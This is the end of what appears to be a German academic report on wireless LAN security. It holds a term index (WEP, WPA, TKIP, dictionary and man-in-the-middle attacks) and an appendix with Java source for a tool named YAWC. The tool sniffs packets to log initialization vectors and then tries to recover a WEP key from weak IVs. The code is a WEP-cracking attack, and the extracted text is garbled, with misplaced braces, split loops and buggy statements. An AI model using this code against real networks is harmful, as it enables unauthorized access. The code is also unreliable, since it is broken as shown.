Light EAP
Linearität
Log-File
MAC
MAC-Adresse
Man-In-The-Middle-Attacke
Master Secret
MIC
Michael
Pairwise Key Handshake
Pre-Shared Key
PRF
PRNG
Protected EAP
RADIUS
RC4
Re-Keying-Algorithmus
Replay-Attacke
RSN
Schlüssel
SHA-1
Shared Key
SSID
SSL
SSL
Strom-Chiffrier-Algorithmus
Substandards
Teledienstgesetz
TK-Gesetz
TKIP
TKIP
TLS
9
14
18
6
9, 12
14
9
22
9
10
10, 14
22
7
23
8
9, 28, 30
10, 21
17
9
9, 16
16
19
7
7, 14
22
6, 17, 19
8, 9
9
9
8
7, 12
7
12
12, 30
18
8
8
6
28
28
6
8, 15
22
39
Übertragungsrate
VoIP
VPN
Weak IV
WEP
WEP2
WEPplus
wilde APs
Wörterbuch-Attacke
WPA
YAWC
Zugangskontrolle
6
17
17
23
7, 8, 9, 12, 15
15
14
13
10
9, 15
23
7
40
Anhang
Sniffer.java
package yawc;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import net.sourceforge.jpcap.capture.PacketCapture;
import net.sourceforge.jpcap.capture.RawPacketListener;
import net.sourceforge.jpcap.net.RawPacket;
public class Sniffer {
private static final int COUNTER = 6000000;
private PacketCapture pcap;
private String device;
public Sniffer() throws Exception {
// initialization
pcap = new PacketCapture();
// device check
// device = pcap.findDevice();
//m_pcap.open("eth0", true);
String defaultDevice = pcap.findDevice();
int cut = -1;
if ((cut = defaultDevice.indexOf('\n')) != -1) {
// fixes windows problem with full name returned
// by find device!
device = defaultDevice.substring(0, cut);
}
else {
device = defaultDevice;
}
// open capture device (root required)
pcap.open(device, true);
// init packet handler
RawPacketHandler handler = new RawPacketHandler();
pcap.addRawPacketListener(handler);
System.out.println("\nWrite to file...\n");
// start capturing
pcap.capture(COUNTER);
//close the reader
handler.close();
}
System.out.println("Done.\n\n");
public static void main(String[] args) {
try {
Sniffer example = new Sniffer();
} catch(Exception e) {
e.printStackTrace();
System.exit(1);
}
}
}
41
class RawPacketHandler implements RawPacketListener
{
public static final int START = 5;
public static final int STOP = 9;
private static int counter = 0;
private static FileWriter fw;
public RawPacketHandler() {
try {
fw = new FileWriter(new File("ivs.log"));
} catch (IOException e) {
e.printStackTrace();
System.exit(0);
}
}
public void rawPacketArrived(RawPacket data) {
counter++;
for (int i=START; i<STOP; i++) {
int b = (data.getData()[i] < 0 ) ? data.getData()[i]+256 : data.getData()[i];
try {
String hex = Integer.toHexString(b);
if (hex.length()==1) {
hex = "0"+hex;
}
fw.write(hex);
fw.write(" ");
} catch (IOException e) {
e.printStackTrace();
System.exit(0);
}
}
try {
fw.write("\n");
} catch (IOException e) {
e.printStackTrace();
System.exit(0);
}
}
}
public void close() {
try {
fw.flush();
fw.close();
} catch(IOException e) {
e.printStackTrace();
System.exit(0);
}
}
42
Filter.java
package yawc;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
public class Filter {
private int KEY_SIZE = 5;
private int [] counts = new int[256];
private int [] key = new int[KEY_SIZE];
private int text = 0xaa;
private RandomAccessFile rfile;
public Filter(String file) throws FileNotFoundException {
rfile = new RandomAccessFile(file, "r");
}
private void swap (int[] S,int i,int j) {
int tmp;
tmp = S[i];
S[i]=S[j];
S[j]=tmp;
}
private int simulateResolved(int [] iv, int [] key, int keyByte) {
int [] S = new int[256];
int [] K = new int [256];
int i=0,j=0,out=0, zwispei=0;
// int firstByte=0;
K[0]= iv[0];
K[1]= iv[1];
K[2]= iv[2];
for (int k=0;k<KEY_SIZE; k++) {
K[k+3]=key[k];
}
for (int g=0; g<256; g++) {
S[g]=g;
}
for (int g=0; g< keyByte + 3; g++) {
j=(j+S[g]+K[g % KEY_SIZE]) % 256;
swap (S,g,j);
}
// First Byte through PRGA
i=(i+1) % 256;
j=(j + S[i]) % 256;
swap (S,i,j);
zwispei=text ^ S[(S[i]+S[j]) % 256];
out = text ^ zwispei;
//zwispei=S[S[i]+S[j] % 256]; //Out
//firstByte=text ^ zwispei;
//out= text ^ firstByte;
//zwispei=out;
//out=(findIndex(S,zwispei)- j - S[keyByte+3]);
}
return out;
public int findIndex(int [] S, int out) {
for (int h=0;h<S.length;h++){
if (S[h]==out) {
System.out.println(h);
return h;
}
}
return -1;
}
43
public int[] recoverWEP() throws IOException {
int [] strom;
for (int keyByte=0; keyByte<KEY_SIZE; keyByte++) {
rfile.seek(0);
while ((strom = readLine())!=null) {
if (isWeak(strom, keyByte)) {
int [] iv = new int[3];
iv[0] = strom[0];
iv[1] = strom[1];
iv[2] = strom[2];
}
for (int k=0; k<256; k++) {
counts[k]=0;
counts[simulateResolved(iv, key, keyByte)] =+ 1;
}
}
key[keyByte] = maxcounts(counts);
}
}
return key;
private int [] readLine() throws IOException {
String line = rfile.readLine();
if (line == null) {
return null;
}
int [] ivs = new int[4];
String [] sivs = line.split(" ");
ivs[0] = Integer.parseInt(sivs[0]);
ivs[1] = Integer.parseInt(sivs[1]);
ivs[2] = Integer.parseInt(sivs[2]);
ivs[3] = Integer.parseInt(sivs[3]);
return ivs;
}
public void closeStream() throws IOException {
rfile.close();
}
private
int
int
for
}
int maxcounts(int [] counts) {
max_ind = 0;
max = 0;
(int i=0; i<counts.length; i++) {
if (counts[i]>max) {
max = counts[i];
max_ind = i;
}
}
return max_ind;
private boolean isWeak(int[] ivs, int keyByte) {
if ((ivs[0] == keyByte+3) && (ivs[1] == 255))
return true;
else
return false;
}
public void setKeysize(int size) {
KEY_SIZE = size;
}
44
public static void main(String [] args) {
try {
System.out.println("\nCalculating...\n");
Filter filter = new Filter("ivs.log");
int [] key = filter.recoverWEP();
System.out.println("Approximated Key: ");
if (key == null) {
System.out.println("Could not been estimated..");
System.exit(1);
}
for (int i : key)
System.out.print(Integer.toHexString(i) + " ");
System.out.println();
filter.closeStream();
} catch (Exception e) {
e.printStackTrace();
}
}
}
45